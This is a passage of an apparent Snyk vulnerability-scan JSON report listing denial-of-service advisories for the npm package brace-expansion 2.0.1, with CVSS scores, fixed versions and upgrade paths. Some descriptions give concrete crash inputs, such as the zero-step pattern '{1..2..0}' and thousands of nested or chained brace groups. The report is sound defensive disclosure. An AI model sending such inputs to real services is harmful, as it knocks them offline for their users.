"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
